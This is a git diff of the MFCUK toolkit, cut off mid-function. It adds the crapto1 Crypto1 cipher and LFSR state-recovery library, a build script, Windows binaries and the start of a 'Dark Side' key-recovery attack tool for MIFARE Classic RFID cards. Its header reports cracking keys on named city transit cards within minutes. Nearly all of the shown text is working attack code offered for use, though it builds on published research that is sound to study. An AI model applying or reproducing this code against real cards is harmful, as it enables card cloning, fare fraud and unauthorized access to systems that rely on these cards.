a/src/bin/mfcuk_keyrecovery_darkside_cygwin.exe b/src/bin/mfcuk_keyrecovery_darkside_cygwin.exe new file mode 100644 index 0000000..aaea7b8 Binary files /dev/null and b/src/bin/mfcuk_keyrecovery_darkside_cygwin.exe differ diff --git a/src/bin/mfcuk_keyrecovery_darkside_win32.exe b/src/bin/mfcuk_keyrecovery_darkside_win32.exe new file mode 100644 index 0000000..09ddf3a Binary files /dev/null and b/src/bin/mfcuk_keyrecovery_darkside_win32.exe differ diff --git a/src/build_cygwin.sh b/src/build_cygwin.sh new file mode 100644 index 0000000..78e70a8 --- /dev/null +++ b/src/build_cygwin.sh @@ -0,0 +1,6 @@ +MAIN_FILE=mfcuk_keyrecovery_darkside +LIBNFC=libnfc +CFLAGS=`pkg-config --cflags ${LIBNFC}` +CFLAGS_LIBNFC=`pkg-config --cflags libnfc | cut -d ' ' -f 1`/${LIBNFC} + +gcc ./${MAIN_FILE}.c ./mfcuk_mifare.c ./mfcuk_utils.c ./crapto1.c ./crypto1.c ./bin/libnfc.lib ${CFLAGS} ${CFLAGS_LIBNFC} -o ./bin/${MAIN_FILE}_cygwin.exe diff --git a/src/crapto1.c b/src/crapto1.c new file mode 100644 index 0000000..38f66c4 --- /dev/null +++ b/src/crapto1.c @@ -0,0 +1,487 @@ +/* crapto1.c + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, US$ + + Copyright (C) 2008-2008 bla +*/ +#include "crapto1.h" +#include + +#if !defined LOWMEM && defined __GNUC__ +static uint8_t filterlut[1 << 20]; +static void __attribute__((constructor)) fill_lut() +{ + uint32_t i; + for(i = 0; i < 1 << 20; ++i) + filterlut[i] = filter(i); +} +#define filter(x) (filterlut[(x) & 0xfffff]) +#endif + +static void quicksort(uint32_t* const start, uint32_t* const stop) +{ + uint32_t *it = start + 1, *rit = stop; + + if(it > rit) + return; + + while(it < rit) + if(*it <= *start) + ++it; + else if(*rit > *start) + --rit; + else + *it ^= (*it ^= *rit, *rit ^= *it); + + if(*rit >= *start) + --rit; + if(rit != start) + *rit ^= (*rit ^= *start, *start ^= *rit); + + quicksort(start, rit - 1); + quicksort(rit + 1, stop); +} +/** binsearch + * Binary search for the first occurence of *stop's MSB in sorted [start,stop] + */ +static /*inline*/ uint32_t* +binsearch(uint32_t *start, uint32_t *stop) +{ + uint32_t mid, val = *stop & 0xff000000; + while(start != stop) + if(start[mid = (stop - start) >> 1] > val) + stop = &start[mid]; + else + start += mid + 1; + + return start; +} + +/** update_contribution + * helper, calculates the partial linear feedback contributions and puts in MSB + */ +static /*inline*/ void +update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2) +{ + uint32_t p = *item >> 25; + + p = p << 1 | parity(*item & mask1); + p = p << 1 | parity(*item & mask2); + *item = p << 24 | (*item & 0xffffff); +} + +/** extend_table + * using a bit of the keystream extend the table of possible lfsr states + */ +static /*inline*/ void +extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in) +{ + in <<= 24; + for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) + if(filter(*tbl) ^ filter(*tbl | 1)) { + *tbl |= filter(*tbl) ^ bit; + update_contribution(tbl, m1, m2); + *tbl ^= in; + } else if(filter(*tbl) == bit) { + *++*end = tbl[1]; + tbl[1] = tbl[0] | 1; + update_contribution(tbl, m1, m2); + *tbl++ ^= in; + update_contribution(tbl, m1, m2); + *tbl ^= in; + } else + *tbl-- = *(*end)--; +} +/** extend_table_simple + * using a bit of the keystream extend the table of possible lfsr states + */ +static /*inline*/ void +extend_table_simple(uint32_t *tbl, uint32_t **end, int bit) +{ + for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) + if(filter(*tbl) ^ filter(*tbl | 1)) { + *tbl |= filter(*tbl) ^ bit; + } else if(filter(*tbl) == bit) { + *++*end = *++tbl; + *tbl = tbl[-1] | 1; + } else + *tbl-- = *(*end)--; +} +/** recover + * recursively narrow down the search space, 4 bits of keystream at a time + */ +static struct Crypto1State* +recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks, + uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem, + struct Crypto1State *sl, uint32_t in) +{ + uint32_t *o, *e, i; + + if(rem == -1) { + for(e = e_head; e <= e_tail; ++e) { + *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4); + for(o = o_head; o <= o_tail; ++o, ++sl) { + sl->even = *o; + sl->odd = *e ^ parity(*o & LF_POLY_ODD); + sl[1].odd = sl[1].even = 0; + } + } + return sl; + } + + for(i = 0; i < 4 && rem--; i++) { + extend_table(o_head, &o_tail, (oks >>= 1) & 1, + LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0); + if(o_head > o_tail) + return sl; + + extend_table(e_head, &e_tail, (eks >>= 1) & 1, + LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3); + if(e_head > e_tail) + return sl; + } + + quicksort(o_head, o_tail); + quicksort(e_head, e_tail); + + while(o_tail >= o_head && e_tail >= e_head) + if(((*o_tail ^ *e_tail) >> 24) == 0) { + o_tail = binsearch(o_head, o = o_tail); + e_tail = binsearch(e_head, e = e_tail); + sl = recover(o_tail--, o, oks, + e_tail--, e, eks, rem, sl, in); + } + else if(*o_tail > *e_tail) + o_tail = binsearch(o_head, o_tail) - 1; + else + e_tail = binsearch(e_head, e_tail) - 1; + + return sl; +} +/** lfsr_recovery + * recover the state of the lfsr given 32 bits of the keystream + * additionally you can use the in parameter to specify the value + * that was fed into the lfsr at the time the keystream was generated + */ +struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in) +{ + struct Crypto1State *statelist; + uint32_t *odd_head = 0, *odd_tail = 0, oks = 0; + uint32_t *even_head = 0, *even_tail = 0, eks = 0; + int i; + + for(i = 31; i >= 0; i -= 2) + oks = oks << 1 | BEBIT(ks2, i); + for(i = 30; i >= 0; i -= 2) + eks = eks << 1 | BEBIT(ks2, i); + + odd_head = odd_tail = malloc(sizeof(uint32_t) << 21); + even_head = even_tail = malloc(sizeof(uint32_t) << 21); + statelist = malloc(sizeof(struct Crypto1State) << 18); + if(!odd_tail-- || !even_tail-- || !statelist) + goto out; + + statelist->odd = statelist->even = 0; + + for(i = 1 << 20; i >= 0; --i) { + if(filter(i) == (oks & 1)) + *++odd_tail = i; + if(filter(i) == (eks & 1)) + *++even_tail = i; + } + + for(i = 0; i < 4; i++) { + extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1); + extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1); + } + + in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00); + recover(odd_head, odd_tail, oks, + even_head, even_tail, eks, 11, statelist, in << 1); + +out: + free(odd_head); + free(even_head); + return statelist; +} + +static const uint32_t S1[] = { 0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214, + 0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83, + 0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA}; +static const uint32_t S2[] = { 0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60, + 0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8, + 0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20, + 0x7EC7EE90, 0x7F63F748, 0x79117020}; +static const uint32_t T1[] = { + 0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66, + 0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B, + 0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615, + 0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C}; +static const uint32_t T2[] = { 0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0, + 0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268, + 0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0, + 0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0, + 0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950, + 0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0}; +static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD}; +static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0}; +/** Reverse 64 bits of keystream into possible cipher states + * Variation mentioned in the paper. Somewhat optimized version + */ +struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3) +{ + struct Crypto1State *statelist, *sl; + uint8_t oks[32], eks[32], hi[32]; + uint32_t low = 0, win = 0; + uint32_t *tail, table[1 << 16]; + int i, j; + + sl = statelist = malloc(sizeof(struct Crypto1State) << 4); + if(!sl) + return 0; + sl->odd = sl->even = 0; + + for(i = 30; i >= 0; i -= 2) { + oks[i >> 1] = BIT(ks2, i ^ 24); + oks[16 + (i >> 1)] = BIT(ks3, i ^ 24); + } + for(i = 31; i >= 0; i -= 2) { + eks[i >> 1] = BIT(ks2, i ^ 24); + eks[16 + (i >> 1)] = BIT(ks3, i ^ 24); + } + + for(i = 0xfffff; i >= 0; --i) { + if (filter(i) != oks[0]) + continue; + + *(tail = table) = i; + for(j = 1; tail >= table && j < 29; ++j) + extend_table_simple(table, &tail, oks[j]); + + if(tail < table) + continue; + + for(j = 0; j < 19; ++j) + low = low << 1 | parity(i & S1[j]); + for(j = 0; j < 32; ++j) + hi[j] = parity(i & T1[j]); + + for(; tail >= table; --tail) { + for(j = 0; j < 3; ++j) { + *tail = *tail << 1; + *tail |= parity((i & C1[j]) ^ (*tail & C2[j])); + if(filter(*tail) != oks[29 + j]) + goto continue2; + } + + for(j = 0; j < 19; ++j) + win = win << 1 | parity(*tail & S2[j]); + + win ^= low; + for(j = 0; j < 32; ++j) { + win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]); + if(filter(win) != eks[j]) + goto continue2; + } + + *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail); + sl->odd = *tail ^ parity(LF_POLY_ODD & win); + sl->even = win; + ++sl; + sl->odd = sl->even = 0; + continue2:; + } + } + return statelist; +} + +/** lfsr_rollback_bit + * Rollback the shift register in order to get previous states + */ +uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb) +{ + int out; + uint8_t ret; + + s->odd &= 0xffffff; + s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); + + out = s->even & 1; + out ^= LF_POLY_EVEN & (s->even >>= 1); + out ^= LF_POLY_ODD & s->odd; + out ^= !!in; + out ^= (ret = filter(s->odd)) & !!fb; + + s->even |= parity(out) << 23; + return ret; +} +/** lfsr_rollback_byte + * Rollback the shift register in order to get previous states + */ +uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb) +{ + int i; + uint8_t ret = 0; + for (i = 7; i >= 0; --i) + ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i; + return ret; +} +/** lfsr_rollback_word + * Rollback the shift register in order to get previous states + */ +uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb) +{ + int i; + uint32_t ret = 0; + for (i = 31; i >= 0; --i) + ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24); + return ret; +} + +/** nonce_distance + * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y + */ +static uint16_t *dist = 0; +int nonce_distance(uint32_t from, uint32_t to) +{ + uint16_t x, i; + if(!dist) { + dist = malloc(2 << 16); + if(!dist) + return -1; + for (x = i = 1; i; ++i) { + dist[(x & 0xff) << 8 | x >> 8] = i; + x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; + } + } + return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535; +} + + +static uint32_t fastfwd[2][8] = { + { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB}, + { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}}; + + +/** lfsr_prefix_ks + * + * Is an exported helper function from the common prefix attack + * Described in the "dark side" paper. It returns an -1 terminated array + * of possible partial(21 bit) secret state. + * The required keystream(ks) needs to contain the keystream that was used to + * encrypt the NACK which is observed when varying only the 4 last bits of Nr + * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3 + */ +uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd) +{ + uint32_t c, entry, *candidates = malloc(4 << 21); + int i, size = (1 << 21) - 1; + + if(!candidates) + return 0; + + for(i = 0; i <= size; ++i) + candidates[i] = i; + + for(c = 0; c < 8; ++c) + for(i = 0;i <= size; ++i) { + entry = candidates[i] ^ fastfwd[isodd][c]; + + if(filter(entry >> 1) != BIT(ks[c], isodd) || + filter(entry) != BIT(ks[c], isodd + 2)) + candidates[i--] = candidates[size--]; + } + + candidates[size + 1] = -1; + + return candidates; +} + +/** check_pfx_parity + * helper function which eliminates possible secret states using parity bits + */ +static struct Crypto1State* +check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8], + uint32_t odd, uint32_t even, struct Crypto1State* sl) +{ + uint32_t ks1, nr, ks2, rr, ks3, c, good = 1; + + for(c = 0; good && c < 8; ++c) { + sl->odd = odd ^ fastfwd[1][c]; + sl->even = even ^ fastfwd[0][c]; + + lfsr_rollback_bit(sl, 0, 0); + lfsr_rollback_bit(sl, 0, 0); + + ks3 = lfsr_rollback_bit(sl, 0, 0); + ks2 = lfsr_rollback_word(sl, 0, 0); + ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1); + + nr = ks1 ^ (prefix | c << 5); + rr = ks2 ^ rresp; + + good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24); + good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16); + good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8); + good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0); + good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3; + } + + return sl + good; +} + + +/** lfsr_common_prefix + * Implentation of the common prefix attack. + * Requires the 29 bit constant prefix used as reader nonce (pfx) + * The reader response used (rr) + * The keystream used to encrypt the observed NACK's (ks) + * The parity bits (par) + * It returns a zero terminated list of possible cipher states after the + * tag nonce was fed in + */ +struct Crypto1State* +lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]) +{ + struct Crypto1State *statelist, *s; + uint32_t *odd, *even, *o, *e, top; + + odd = lfsr_prefix_ks(ks, 1); + even = lfsr_prefix_ks(ks, 0); + + s = statelist = malloc((sizeof *statelist) << 20); + if(!s || !odd || !even) { + free(odd); + free(even); + free(statelist); + return 0; + } + + for(o = odd; *o + 1; ++o) + for(e = even; *e + 1; ++e) + for(top = 0; top < 64; ++top) { + *o += 1 << 21; + *e += (!(top & 7) + 1) << 21; + s = check_pfx_parity(pfx, rr, par, *o, *e, s); + } + + s->odd = s->even = 0; + + free(odd); + free(even); + + return statelist; +} diff --git a/src/crapto1.h b/src/crapto1.h new file mode 100644 index 0000000..8f0ce79 --- /dev/null +++ b/src/crapto1.h @@ -0,0 +1,92 @@ +/* crapto1.h + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, US$ + + Copyright (C) 2008-2008 bla +*/ +#ifndef CRAPTO1_INCLUDED +#define CRAPTO1_INCLUDED +#include +#ifdef __cplusplus +extern "C" { +#endif + +struct Crypto1State {uint32_t odd, even;}; +struct Crypto1State* crypto1_create(uint64_t); +void crypto1_destroy(struct Crypto1State*); +void crypto1_get_lfsr(struct Crypto1State*, uint64_t*); +uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int); +uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int); +uint32_t crypto1_word(struct Crypto1State*, uint32_t, int); +uint32_t prng_successor(uint32_t x, uint32_t n); + +struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in); +struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3); +uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd); +struct Crypto1State* lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]); + +uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb); +uint8_t lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb); +uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb); +int nonce_distance(uint32_t from, uint32_t to); +#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\ + uint32_t __n = 0,__M = 0, N = 0;\ + int __i;\ + for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\ + for(__i = FSIZE - 1; __i >= 0; __i--)\ + if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\ + break;\ + else if(__i)\ + __M = prng_successor(__M, (__i == 7) ? 48 : 8);\ + else + +#define LF_POLY_ODD (0x29CE5C) +#define LF_POLY_EVEN (0x870804) +#define BIT(x, n) ((x) >> (n) & 1) +#define BEBIT(x, n) BIT(x, (n) ^ 24) +static /*inline*/ int parity(uint32_t x) +{ +#if !defined __i386__ || !defined __GNUC__ + x ^= x >> 16; + x ^= x >> 8; + x ^= x >> 4; + return BIT(0x6996, x & 0xf); +#else + asm( "movl %1, %%eax\n" + "mov %%ax, %%cx\n" + "shrl $0x10, %%eax\n" + "xor %%ax, %%cx\n" + "xor %%ch, %%cl\n" + "setpo %%al\n" + "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx"); + return x; +#endif +} +static /*inline*/ int filter(uint32_t const x) +{ + uint32_t f; + + f = 0xf22c0 >> (x & 0xf) & 16; + f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; + f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4; + f |= 0x1e458 >> (x >> 12 & 0xf) & 2; + f |= 0x0d938 >> (x >> 16 & 0xf) & 1; + return BIT(0xEC57E80A, f); +} +#ifdef __cplusplus +} +#endif +#endif diff --git a/src/crypto1.c b/src/crypto1.c new file mode 100644 index 0000000..e2aab71 --- /dev/null +++ b/src/crypto1.c @@ -0,0 +1,93 @@ +/* crypto1.c + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, US + + Copyright (C) 2008-2008 bla +*/ +#include "crapto1.h" +#include + +#define SWAPENDIAN(x)\ + (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) + +struct Crypto1State * crypto1_create(uint64_t key) +{ + struct Crypto1State *s = malloc(sizeof(*s)); + int i; + + for(i = 47;s && i > 0; i -= 2) { + s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7); + s->even = s->even << 1 | BIT(key, i ^ 7); + } + return s; +} +void crypto1_destroy(struct Crypto1State *state) +{ + free(state); +} +void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr) +{ + int i; + for(*lfsr = 0, i = 23; i >= 0; --i) { + *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); + *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); + } +} +uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) +{ + uint32_t feedin; + uint8_t ret = filter(s->odd); + + feedin = ret & !!is_encrypted; + feedin ^= !!in; + feedin ^= LF_POLY_ODD & s->odd; + feedin ^= LF_POLY_EVEN & s->even; + s->even = s->even << 1 | parity(feedin); + + s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); + + return ret; +} +uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted) +{ + uint8_t i, ret = 0; + + for (i = 0; i < 8; ++i) + ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i; + + return ret; +} +uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) +{ + uint32_t i, ret = 0; + + for (i = 0; i < 32; ++i) + ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24); + + return ret; +} + +/* prng_successor + * helper used to obscure the keystream during authentication + */ +uint32_t prng_successor(uint32_t x, uint32_t n) +{ + SWAPENDIAN(x); + while(n--) + x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; + + return SWAPENDIAN(x); +} diff --git a/src/mfcuk_keyrecovery_darkside.c b/src/mfcuk_keyrecovery_darkside.c new file mode 100644 index 0000000..b30fa9a --- /dev/null +++ b/src/mfcuk_keyrecovery_darkside.c @@ -0,0 +1,1641 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_keyrecovery_darkside.c + + Name: + Mifare Classic "Dark-Side" Attack to reover at least 1 key for card where NO keys + are known. Uses as a corner-stone the lfsr_common_prefix() from crapto1 3.1 + + After this, the MFOC from Nethemba team is used to recover rest of the + keys using "Nested-Authentication" Attack + + Description: + Implementing Mifare Classic "Dark Side" Key Recovery attack from this paper: + "THE DARK SIDE OF SECURITY BY OBSCURITY" + http://eprint.iacr.org/2009/137.pdf + + For tag fixation it uses the DROP FIELD and CONSTANT DELAY after drop and + before authentication technique. Most of the times it gives pretty good results. + + To improve the overall results, the Nt tag nonces are stored and looked-up in + a sorted array of Nt entries. We can see it as a hash map/lookup table with + resumable states for given tag nonces. + cons - extends the timeslot of attack + pros - makes attack more stable since tag nonce fixation is not as accurate + on ACR122 as on Proxmark3 or other specialized devices + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + OS/Envs supported: + Linux + Windows + MacOS + Cygwin + + Hardware tested/supported: + ACR 122U (usb) + + Compiling: + Linux/MacOS/Cygwin + gcc -o zv_mf_dark_side zv_mf_dark_side.c ./crapto1-v3.1/crapto1.c + ./crapto1-v3.1/crypto1.c ./libnfc-v1.2.1/bin/libnfc.lib -lnfc + -I./libnfc-v1.2.1/include -L./libnfc-v1.2.1/lib + MSVS + just copy an existing project (nfc-anticol for example) from libnfc-1.2.1-vs2005, + add the crapto1 .c files to the project and zv_mf_dark_side.c + + Usage: + ./mfcuk_keyrecovery_darkside -h + c:\mfcuk_keyrecovery_darkside.exe -h + + Results: + about 2 minutes to recover first key for RATB Bucharest cards (10ms & 50ms sleeps) + about 3 minutes to recover first key for EasyCard Taipei (10ms & 50ms sleeps) + + Known Issues: + 1. The tag fixation with ACR122 is not performing well if CPU is under high load (eg. Flash Movie playing in IE, etc.) + 2. Either a bug in libnfc 1.2.1 or a bug in RATB card-types 0x88 consecutive authentication goes like - one fails, one ok, even though correct keys are used + 2.a Maybe need to check AC bits? + 2.b Maybe AC bits/0x88 cards need a read/write or failed operation in between for the "state" to be ok and next auth to be successful? + + Contact, bug-reports: + http://andreicostin.com/ + mailto:zveriu@gmail.com + + Requirements: + crapto1 library 3.1 (http://code.google.com/p/crapto1) + libnfc 1.2.1 (http://www.libnfc.org) + + * @file mfcuk_keyrecovery_darkside.c + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 14/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Initial version as POC, Windows MS Visual Studio version only +-------------------------------------------------------------------------------- +| Number : 0.2 +| dd/mm/yyyy : 14/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Fixed some info; removed uneeded code, variables, commented lines; +| proper identation; introduced some portability fixes; +-------------------------------------------------------------------------------- +| Number : 0.3 +| dd/mm/yyyy : 14/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Restructured the functionality into reusable modules, preparing +| for MFCUK package and integration with MFOC; autogen and automake packaging; +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include +#include +#include + +#ifdef WIN32 + #define NOMINMAX + #include "windows.h" + #include "xgetopt.h" +#elif __STDC__ + #include + #include + #include +#endif + +#include +#include "crapto1.h" + // FIXME: For some reason (reason=I am dumb perhaps), these two prototypes are not visible form crapto1.h, so I put them here + struct Crypto1State* lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]); + uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb); + // :FIXME +#include +#include "mfcuk_mifare.h" +#include "mfcuk_utils.h" +#include "mfcuk_keyrecovery_darkside.h" + +#define MAX_FRAME_LEN 264 + +// TODO: rename the array and number of items in array variable names +tag_nonce_entry_t arrSpoofEntries[MAX_TAG_NONCES]; // "Cache" array of already received tag nonces, since we cannot 100% fix one tag nonce as of now +uint32_t numSpoofEntries = 0; // Actual number of entries in the arrSpoofEntries +uint32_t numAuthAttempts = 0; // Number of authentication attempts for Recovery of keys - used to statistics. TODO: implement proper statistics with timings, number of tries, etc. +bool bfOpts[256] = {false}; // Command line options, indicates their presence, initialize with false +byte_t verboseLevel = 0; // No verbose level by default + +int compareTagNonces (const void * a, const void * b) +{ + // TODO: test the improvement (especially corner cases, over/under-flows) "return ( (*(uint32_t*)a) - (*(uint32_t*)b) ); + if ( *(uint32_t*)a > *(uint32_t*)b ) return 1; + if ( *(uint32_t*)a == *(uint32_t*)b ) return 0; + if ( *(uint32_t*)a < *(uint32_t*)b ) return -1; + + return 0; // Never reach here, but keep compilers happy +} + +// TODO: combine mfcuk_verify_key_block() with mfcuk_recover_key_block(), since a lot of code is duplicate +uint32_t mfcuk_verify_key_block(nfc_device_t* pnd, uint32_t uiUID, uint64_t ui64Key, mifare_key_type bKeyType, byte_t bTagType, uint32_t uiBlock) +{ + uint32_t pos; + + // Keystream related variables - for verification with Crapto1/Crypto1 rollback + uint32_t nr_encrypted = 0; + uint32_t reader_response = 0; + uint32_t tag_response = 0; + uint32_t ks2 = 0; + uint32_t ks3 = 0; + struct Crypto1State *pcs; + uint64_t lfsr; + unsigned char* plfsr = (unsigned char*)&lfsr; + + // Communication related variables + byte_t abtAuth[4] = { 0x00,0x00,0x00,0x00 }; + byte_t abtArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + byte_t abtArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + byte_t abtRx[MAX_FRAME_LEN]; + byte_t abtRxPar[MAX_FRAME_LEN]; + uint32_t uiRxLen; + uint32_t nt, nt_orig; // Supplied tag nonce + + if ( (bKeyType != keyA) && (bKeyType != keyB) ) + { + return MFCUK_FAIL_KEYTYPE_INVALID; + } + + if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) + { + return MFCUK_FAIL_TAGTYPE_INVALID; + } + + if ( !is_valid_block(bTagType, uiBlock) ) + { + return MFCUK_FAIL_BLOCK_INVALID; + } + + // Configure the authentication frame using the supplied block + abtAuth[0] = bKeyType; + abtAuth[1] = uiBlock; + append_iso14443a_crc(abtAuth,2); + + // Now we take over, first we need full control over the CRC + if ( !nfc_configure(pnd,NDO_HANDLE_CRC,false) ) + { + return MFCUK_FAIL_COMM; + } + + // Request plain tag-nonce + if (!nfc_initiator_transceive_bytes(pnd,abtAuth,4,abtRx,&uiRxLen)) + { + return MFCUK_FAIL_COMM; + } + + // Save the tag nonce (nt) + nt = swap_endian32(abtRx); + nt_orig = nt; + + // Init cipher with key + pcs = crypto1_create(ui64Key); + + // Load (plain) uid^nt into the cipher + for (pos=0; pos<4; pos++) + { + // Update the cipher with the tag-initialization + crypto1_byte(pcs, ((uiUID >> (8*(3-pos))) & 0xFF ) ^ abtRx[pos], 0); + } + + // Generate (encrypted) nr+parity by loading it into the cipher (Nr) + for (pos=0; pos<4; pos++) + { + // Load in, and encrypt, the reader nonce (plain nr=0x00000000) + abtArEnc[pos] = 